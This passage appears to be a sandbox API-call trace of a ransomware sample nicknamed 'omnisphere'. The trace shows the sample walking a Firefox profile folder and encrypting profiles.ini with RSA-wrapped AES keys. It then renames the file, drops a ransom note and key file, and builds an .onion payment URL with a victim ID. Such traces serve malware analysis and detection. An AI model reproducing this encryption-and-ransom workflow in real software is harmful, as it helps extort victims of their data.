hHeap=0x1600000) returned 1 [0155.383] GetProcessHeap () returned 0x1600000 [0155.383] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0155.383] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0155.383] GetProcessHeap () returned 0x1600000 [0155.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x16b27e8 [0155.383] PathCombineW (in: pszDest=0x16b27e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", pszFile="Firefox" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox" [0155.383] GetProcessHeap () returned 0x1600000 [0155.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163fd00 [0155.383] PathCombineW (in: pszDest=0x163fd00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*" [0155.383] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0155.384] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName="..", cAlternateFileName="")) returned 1 [0155.384] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1 [0155.384] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName="Pending Pings", cAlternateFileName="PENDIN~1")) returned 1 [0155.384] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName="Profiles", cAlternateFileName="")) returned 1 [0155.384] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0xdd, cFileName="profiles.ini", cAlternateFileName="")) returned 1 [0155.384] GetProcessHeap () returned 0x1600000 [0155.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x16331c8 [0155.384] PathCombineW (in: pszDest=0x16331c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="profiles.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0155.384] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0155.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0155.385] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=122) returned 1 [0155.385] GetTickCount () returned 0x11669ed [0155.385] GetTickCount () returned 0x11669ed [0155.385] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.386] GetTickCount () returned 0x11669ed [0155.387] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x16682c8) returned 1 [0155.387] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16397a8) returned 1 [0155.387] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0155.387] CryptDestroyKey (hKey=0x16397a8) returned 1 [0155.387] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0155.387] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a, lpName=0x0) returned 0x28c [0155.387] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a) returned 0x1480000 [0155.388] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x16688a0) returned 1 [0155.388] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16396a8) returned 1 [0155.388] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0155.388] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0155.388] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0155.389] CryptDestroyKey (hKey=0x16396a8) returned 1 [0155.389] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0155.389] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x7a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0155.389] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0155.398] GetProcessHeap () returned 0x1600000 [0155.398] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x298) returned 0x1731f90 [0155.398] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.omnisphere")) returned 1 [0155.400] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.omnisphere.id" [0155.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.401] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0155.402] CloseHandle (hObject=0x288) returned 1 [0155.402] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.402] CloseHandle (hObject=0x28c) returned 1 [0155.402] SetEndOfFile (hFile=0x3a0) returned 1 [0155.402] FlushFileBuffers (hFile=0x3a0) returned 1 [0155.408] CloseHandle (hObject=0x3a0) returned 1 [0155.408] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox") returned 1 [0155.408] GetProcessHeap () returned 0x1600000 [0155.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1732230 [0155.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.408] GetProcessHeap () returned 0x1600000 [0155.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd7a8 [0155.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd7a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.408] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.408] GetProcessHeap () returned 0x1600000 [0155.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726c38 [0155.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726c38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.409] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.409] GetProcessHeap () returned 0x1600000 [0155.409] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656d60 [0155.409] PathCombineW (in: pszDest=0x1656d60, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\!DECRYPT_OMNISPHERE.txt" [0155.409] GetProcessHeap () returned 0x1600000 [0155.409] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17224d0 [0155.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0155.410] WriteFile (in: hFile=0x3a0, lpBuffer=0x17224d0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x17224d0*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0155.411] CloseHandle (hObject=0x3a0) returned 1 [0155.411] GetProcessHeap () returned 0x1600000 [0155.411] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1732230 | out: hHeap=0x1600000) returned 1 [0155.411] GetProcessHeap () returned 0x1600000 [0155.411] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167c168 [0155.411] PathCombineW (in: pszDest=0x167c168, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\unique_decrypt.key" [0155.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0155.412] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0155.413] CloseHandle (hObject=0x3a0) returned 1 [0155.413] GetProcessHeap () returned 0x1600000 [0155.413] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c168 | out: hHeap=0x1600000) returned 1 [0155.413] GetProcessHeap () returned 0x1600000 [0155.413] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16331c8 | out: hHeap=0x1600000) returned 1 [0155.413] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0xdd, cFileName="profiles.ini", cAlternateFileName="")) returned 0 [0155.413] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0155.414] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3dbb22fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dbb22fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0155.414] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3dbb22fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dbb22fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.414] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbb22fa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dbb22fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dbb22fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0155.414] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1 [0155.414] GetProcessHeap () returned 0x1600000 [0155.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x16b11e0 [0155.414] PathCombineW (in: pszDest=0x16b11e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="Crash Reports" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0155.414] GetProcessHeap () returned 0x1600000 [0155.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x16b1608 [0155.414] PathCombineW (in: pszDest=0x16b1608, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*" [0155.414] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.415] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="..", cAlternateFileName="")) returned 1 [0155.415] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="events", cAlternateFileName="")) returned 1 [0155.415] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0xd5, cFileName="InstallTime20170824053622", cAlternateFileName="INSTAL~1")) returned 1 [0155.415] GetProcessHeap () returned 0x1600000 [0155.415] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0155.415] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", pszFile="InstallTime20170824053622" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" [0155.415] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0155.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0155.416] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=10) 